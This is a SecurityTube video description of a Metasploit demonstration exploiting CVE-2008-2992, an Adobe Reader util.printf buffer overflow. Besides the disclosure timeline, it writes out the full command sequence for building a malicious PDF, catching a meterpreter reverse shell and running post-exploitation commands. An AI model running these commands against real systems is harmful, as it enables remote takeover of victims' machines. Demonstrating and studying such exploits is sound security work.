SecurityTube

Description: Timeline :
Vulnerability reported by Peter Vreugdenhil to ZDI
Vulnerability reported from ZDI to the vendor the 2008-01-21
Coordinated public release the 2008-11-04
Milw0rm PoC provided by Debasis Mohanty the 2008-11-05
Metasploit PoC provided by Mario Ceballos the 2008-12-03

PoC provided by:
MC
Didier Stevens

Reference(s) :
CVE-2008-2992

Affected versions :
Adobe Reader and Adobe Acrobat Professional prior to 8.1.3

Tested on Windows XP SP3 with Adobe Reader 8.1.2

Description :
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional prior to 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf entry, an attacker may be able to execute arbitrary code

Metasploit demo :

use exploit/windows/fileformat/adobe_utilprintf
set OUTPUTPATH /home/eromang
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

sessions -i 1
sysinfo
getuid
ipconfig

Owned !

Tags: metasploit , windows , microsoft , adobe , acrobat , reader ,

Disclaimer: We are a infosec video aggregator and this video is linked from an external website. The original author may be different from the user re-posting/linking it here. Please do not assume the authors to be same without verifying.

Comments:

Login to post a comment